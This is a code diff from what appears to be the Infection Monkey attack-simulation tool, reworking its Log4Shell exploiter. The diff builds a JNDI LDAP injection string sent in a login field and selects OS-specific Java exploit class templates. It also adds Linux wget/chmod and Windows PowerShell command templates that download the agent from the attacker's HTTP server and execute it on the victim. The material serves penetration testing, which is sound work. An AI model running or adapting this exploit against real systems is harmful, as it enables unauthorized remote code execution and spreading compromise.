diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index a5f9e17a5..b7c1b2133 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -7,10 +7,21 @@ import requests from common.utils.exploit_enum import ExploitType from infection_monkey.exploit.log4shell_utils import LDAPExploitServer, build_exploit_bytecode +from infection_monkey.exploit.log4shell_utils.exploit_builder import ( + LINUX_EXPLOIT_TEMPLATE_PATH, + WINDOWS_EXPLOIT_TEMPLATE_PATH, +) +from infection_monkey.exploit.tools.helpers import get_monkey_depth from infection_monkey.exploit.tools.http_tools import HTTPTools from infection_monkey.exploit.web_rce import WebRCE -from infection_monkey.model import POWERSHELL_HTTP_UPLOAD, WGET_HTTP_UPLOAD, VictimHost +from infection_monkey.model import ( + LOG4SHELL_LINUX_COMMAND, + LOG4SHELL_WINDOWS_COMMAND, + MONKEY_ARG, + VictimHost, +) from infection_monkey.network.tools import get_interface_to_target +from infection_monkey.utils.commands import build_monkey_commandline from infection_monkey.utils.monkey_dir import get_monkey_dir_path logger = logging.getLogger(__name__) @@ -41,8 +52,7 @@ class Log4ShellExploiter(WebRCE): return False logger.info("Started http server on %s", http_path) - commands = {"windows": POWERSHELL_HTTP_UPLOAD, "linux": WGET_HTTP_UPLOAD} - command = self.get_command(paths["dest_path"], http_path, commands) + command = self.build_command(paths["dest_path"], http_path) java_class = self.build_java_class(command) class_http_server_ip = get_interface_to_target(self.host.ip_addr) @@ -59,11 +69,9 @@ class Log4ShellExploiter(WebRCE): ldap_thread = ldap.get_run_thread() ldap_thread.start() - payload = {"uname": LDAP_PAYLOAD, "password": "m0nk3y"} + payload = {"uname": self.build_ldap_payload(), "password": "m0nk3y"} try: - response = requests.post( - Log4ShellExploiter.URLS[0], data=payload, timeout=5, verify=False - ) + requests.post(Log4ShellExploiter.URLS[0], data=payload, timeout=5, verify=False) except requests.ReadTimeout: logger.error("Couldn't send request to the vulnerable machine") return False @@ -78,8 +86,33 @@ class Log4ShellExploiter(WebRCE): ldap.stop() return True + def build_ldap_payload(self): + interface_ip = get_interface_to_target(self.host.ip_addr) + return f"${{jndi:ldap://{interface_ip}:{Log4ShellExploiter.LDAP_PORT}/dn=Exploit}}" + + # TODO remove duplication with infection_monkey.exploit.hadoop.HadoopExploiter.build_command + def build_command(self, path, http_path): + # Build command to execute + monkey_cmd = build_monkey_commandline( + self.host, get_monkey_depth() - 1, vulnerable_port=None + ) + if "linux" in self.host.os["type"]: + base_command = LOG4SHELL_LINUX_COMMAND + else: + base_command = LOG4SHELL_WINDOWS_COMMAND + + return base_command % { + "monkey_path": path, + "http_path": http_path, + "monkey_type": MONKEY_ARG, + "parameters": monkey_cmd, + } + def build_java_class(self, exploit_command: str) -> bytes: - return build_exploit_bytecode(exploit_command) + if "linux" in self.host.os["type"]: + return build_exploit_bytecode(exploit_command, LINUX_EXPLOIT_TEMPLATE_PATH) + else: + return build_exploit_bytecode(exploit_command, WINDOWS_EXPLOIT_TEMPLATE_PATH) def upload_monkey(self, url, commands=None): pass diff --git a/monkey/infection_monkey/exploit/log4shell_utils/Exploit.class.template b/monkey/infection_monkey/exploit/log4shell_utils/Exploit.class.template deleted file mode 100644 index 9160de8ad..000000000 Binary files a/monkey/infection_monkey/exploit/log4shell_utils/Exploit.class.template and /dev/null differ diff --git a/monkey/infection_monkey/exploit/log4shell_utils/LinuxExploit.class.template b/monkey/infection_monkey/exploit/log4shell_utils/LinuxExploit.class.template new file mode 100644 index 000000000..dc1ffff7a Binary files /dev/null and b/monkey/infection_monkey/exploit/log4shell_utils/LinuxExploit.class.template differ diff --git a/monkey/infection_monkey/exploit/log4shell_utils/WindowsExploit.class.template b/monkey/infection_monkey/exploit/log4shell_utils/WindowsExploit.class.template new file mode 100644 index 000000000..71907961f Binary files /dev/null and b/monkey/infection_monkey/exploit/log4shell_utils/WindowsExploit.class.template differ diff --git a/monkey/infection_monkey/exploit/log4shell_utils/exploit_builder.py b/monkey/infection_monkey/exploit/log4shell_utils/exploit_builder.py index 6296884a9..831ddfc05 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/exploit_builder.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/exploit_builder.py @@ -3,7 +3,8 @@ from pathlib import Path # This code has been adapted from https://github.com/alexandre-lavoie/python-log4rce -EXPLOIT_TEMPLATE_PATH = Path(__file__).parent / "Exploit.class.template" +LINUX_EXPLOIT_TEMPLATE_PATH = Path(__file__).parent / "LinuxExploit.class.template" +WINDOWS_EXPLOIT_TEMPLATE_PATH = Path(__file__).parent / "WindowsExploit.class.template" INJECTION_TAG = "###" @@ -11,16 +12,13 @@ class InvalidExploitTemplateError(Exception): pass -def build_exploit_bytecode( - payload_command: str, exploit_template_path: Path = EXPLOIT_TEMPLATE_PATH -) -> bytes: +def build_exploit_bytecode(payload_command: str, exploit_template_path: Path) -> bytes: """ Build a payload used to exploit log4shell :param str payload_command: The command that will be executed on the remote host. :param Path exploit_template_path: The path to a file containing a pre-compiled Java class with the placeholder "###". This placeholder will be overwritten - with the contents of payload_command. Defaults to - `EXPLOIT_TEMPLATE_PATH` + with the contents of payload_command. :return: Java bytecode that will execute the payload :rtype: bytes """ @@ -36,7 +34,7 @@ def _load_template_bytecode(exploit_template_path: Path) -> bytes: if not template_bytecode.startswith(b"\xca\xfe\xba\xbe"): raise InvalidExploitTemplateError( - f'The file "{EXPLOIT_TEMPLATE_PATH}" is not a compiled Java class' + f'The file "{exploit_template_path}" is not a compiled Java class' ) return template_bytecode diff --git a/monkey/infection_monkey/model/__init__.py b/monkey/infection_monkey/model/__init__.py index 7c39075be..1edb2db40 100644 --- a/monkey/infection_monkey/model/__init__.py +++ b/monkey/infection_monkey/model/__init__.py @@ -60,4 +60,16 @@ HADOOP_LINUX_COMMAND = ( "&& %(monkey_path)s %(monkey_type)s %(parameters)s" ) +LOG4SHELL_LINUX_COMMAND = ( + "wget -O %(monkey_path)s %(http_path)s ;" + " chmod +x %(monkey_path)s ;" + " %(monkey_path)s %(monkey_type)s %(parameters)s" + # "touch /tmp/test_with_new" +) + +LOG4SHELL_WINDOWS_COMMAND = ( + 'powershell -NoLogo -Command "' + "Invoke-WebRequest -Uri '%(http_path)s' -OutFile '%(monkey_path)s' -UseBasicParsing; " + ' %(monkey_path)s %(monkey_type)s %(parameters)s"' +) DOWNLOAD_TIMEOUT = 180